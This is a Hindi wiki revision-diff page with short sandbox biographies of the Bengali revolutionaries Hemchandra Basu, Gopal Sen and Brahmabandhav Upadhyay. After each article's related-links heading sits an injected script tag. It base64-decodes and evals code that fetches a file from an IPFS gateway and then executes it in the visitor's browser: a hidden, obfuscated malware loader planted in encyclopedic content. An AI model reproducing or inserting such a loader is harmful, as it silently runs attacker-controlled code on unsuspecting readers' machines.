"प्रयोग:माधवी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
पंक्ति 42: पंक्ति 42:
__NOTOC__
__NOTOC__


'''हेमचंद्र बसु''' ([[अंग्रेज़ी]]: ''Hemchandra Basu'') यह [[बंगाल]] के प्रसिद्ध क्रांतिकारी थे, जिनकी कई मामलों में पुलिस को तलाश थी।<ref>{{cite web |url=http://www.kranti1857.org/pish%20bangal%20%20krantikari.php#Hemchandra%20bshu|title=हेमचंद्र बसु|accessmonthday=10 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
'''हेमचंद्र बसु''' ([[अंग्रेज़ी]]: ''Hemchandra Basu'') [[बंगाल]] के प्रसिद्ध क्रांतिकारी थे, जिनकी कई मामलों में पुलिस को तलाश थी।<ref>{{cite web |url=http://www.kranti1857.org/pish%20bangal%20%20krantikari.php#Hemchandra%20bshu|title=हेमचंद्र बसु|accessmonthday=10 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>


{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}


==टीका टिप्पणी और संदर्भ==
<references/>
==संबंधित लेख==
{{स्वतंत्रता सेनानी}}
__INDEX__
__NOTOC__
{{सूचना बक्सा स्वतन्त्रता सेनानी
|चित्र=Blankimage.png
|चित्र का नाम=गोपाल सेन
|पूरा नाम=गोपाल सेन
|अन्य नाम=
|जन्म=
|जन्म भूमि=
|मृत्यु=[[29 सिंतबर]], [[1944]]
|मृत्यु स्थान=
|मृत्यु कारण=
|अभिभावक=
|पति/पत्नी=
|जेल यात्रा=
|कार्य काल=
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=[[बर्मा]] में आजाद हिंद फौज सक्रिय थी, गोपाल सेन को उससे संपर्क स्थापित करने में सफलता मिल गई थी।
|बाहरी कड़ियाँ=
|अद्यतन=04:31, [[10 मार्च]]-[[2017]] (IST)
}}
'''गोपाल सेन''' ([[अंग्रेज़ी]]: ''Gopal Sen'', मृत्यु- [[29 सिंतबर]], [[1944]]) पश्चिम बंगाल के प्रसिद्ध क्रांतिकारी थे।<ref>{{cite web |url=http://www.kranti1857.org/pish%20bangal%20%20krantikari.php#gopal%20sen|title=गोपाल सेन|accessmonthday=10 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
==परिचय==
गोपाल सेन क्रांतिकारी दल के एक सक्रिय सदस्य थे और जिन दिनों [[बर्मा]] में आजाद हिंद फौज सक्रिय थी, गोपाल सेन को उससे संपर्क स्थापित करने में सफलता मिल गई थी। वह किसी बड़े षड्यंत्र की संरचना कर रहे थे; लेकिन पुलिस को उनकी गतिविधियों में भाग लेते थे।
==मृत्यु==
एक दिन [[कलकत्ता]] स्थित गोपाल सेन के मकान पर छापा मारा गया। वह छत के ऊपर पहुँच गए। पुलिस भी छत पर पहुँच गई। पुलिस ने गोपाल सेन को जीवित गिरफ्तार करना चाहा; पर वह उन लोगों के लिए अकेले ही भारी पड़ रहे थे। आखिर पुलिस के कुछ लोगों ने उन्हे पकड़कर तीन मंजिल मकान की छत से नीचे सड़क पर फेंक दिया। यह घटना [[29 सिंतबर]], [[1944]] की है। उसी [[दिन]] गोपाल सेन की मृत्यु हो गई।
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

11:08, 10 मार्च 2017 का अवतरण

माधवी
ब्रह्मबांधव उपाध्याय
ब्रह्मबांधव उपाध्याय
पूरा नाम ब्रह्मबांधव उपाध्याय
जन्म 1 फ़रवरी, 1861
जन्म भूमि कलकत्ता
मृत्यु 27 अक्तूबर, 1907
मृत्यु कारण बिमारी
सम्बंधित व्यक्ति रवींद्रनाथ टैगोर
अन्य जानकारी ब्रह्मबांधव उपाध्याय ने भारतीय दर्शनशास्त्र पर इंग्लैंड में कई भाषण दिए। बाद के दिनों में कई पत्रों का संपादन किया और अंग्रेज़ों के विरूद्ध उत्तेजक लेख लिखे।
अद्यतन‎ 04:31, 4 मार्च-2017 (IST)

ब्रह्मबांधव उपाध्याय (अंग्रेज़ी: Brahmabandhav Upadhyay, जन्म- 1 फ़रवरी, 1861, कलकत्ता; मृत्यु- 27 अक्तूबर, 1907) भारतीय स्वतंत्रता सेनानी, पत्रकार, धर्मशास्त्री, और रहस्यवादी थे।[1]

जन्म

ब्रह्मबांधव उपाध्याय का जन्म 1 फ़रवरी, 1861 को कलकत्ता के निकट खन्नन में हुआ था।

लेखक

ब्रह्मबांधव उपाध्याय एक प्रकांड विद्वान जिनका हिंदी, अंग्रेज़ी, संस्कृत और फारसी भाषाओं पर असाधरण अधिकार था। वे पहले अध्याक रहे। ब्रह्मबांधव उपाध्याय ने गुरूदेव श्री रवींद्रनाथ टैगोर की शांति निकेतन की स्थापना में सहयोग दिया। ब्रह्मबांधव उपाध्याय ने भारतीय दर्शनशास्त्र पर इंग्लैंड में कई भाषण दिए। बाद के दिनों में कई पत्रों का संपादन किया और अंग्रेज़ों के विरूद्ध उत्तेजक लेख लिखे।

मृत्यु

3 सितंबर, 1907 को गिरफ्तार हुए और अदालत में अपनी सारी जिम्मेदारी स्वीकार कर ली। मुकदमा चल रहा था कि बिमारी के कारण 27 अक्तूबर, 1907 को देहावसान हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ब्रह्मबांधव उपाध्याय (हिंदी) क्रांति 1857। अभिगमन तिथि: 4 मार्च, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



हेमचंद्र बसु (अंग्रेज़ी: Hemchandra Basu) बंगाल के प्रसिद्ध क्रांतिकारी थे, जिनकी कई मामलों में पुलिस को तलाश थी।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हेमचंद्र बसु (हिंदी) क्रांति 1857। अभिगमन तिथि: 10 मार्च, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



माधवी
गोपाल सेन
गोपाल सेन
पूरा नाम गोपाल सेन
मृत्यु 29 सिंतबर, 1944
अन्य जानकारी बर्मा में आजाद हिंद फौज सक्रिय थी, गोपाल सेन को उससे संपर्क स्थापित करने में सफलता मिल गई थी।
अद्यतन‎ 04:31, 10 मार्च-2017 (IST)

गोपाल सेन (अंग्रेज़ी: Gopal Sen, मृत्यु- 29 सिंतबर, 1944) पश्चिम बंगाल के प्रसिद्ध क्रांतिकारी थे।[1]

परिचय

गोपाल सेन क्रांतिकारी दल के एक सक्रिय सदस्य थे और जिन दिनों बर्मा में आजाद हिंद फौज सक्रिय थी, गोपाल सेन को उससे संपर्क स्थापित करने में सफलता मिल गई थी। वह किसी बड़े षड्यंत्र की संरचना कर रहे थे; लेकिन पुलिस को उनकी गतिविधियों में भाग लेते थे।

मृत्यु

एक दिन कलकत्ता स्थित गोपाल सेन के मकान पर छापा मारा गया। वह छत के ऊपर पहुँच गए। पुलिस भी छत पर पहुँच गई। पुलिस ने गोपाल सेन को जीवित गिरफ्तार करना चाहा; पर वह उन लोगों के लिए अकेले ही भारी पड़ रहे थे। आखिर पुलिस के कुछ लोगों ने उन्हे पकड़कर तीन मंजिल मकान की छत से नीचे सड़क पर फेंक दिया। यह घटना 29 सिंतबर, 1944 की है। उसी दिन गोपाल सेन की मृत्यु हो गई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. गोपाल सेन (हिंदी) क्रांति 1857। अभिगमन तिथि: 10 मार्च, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>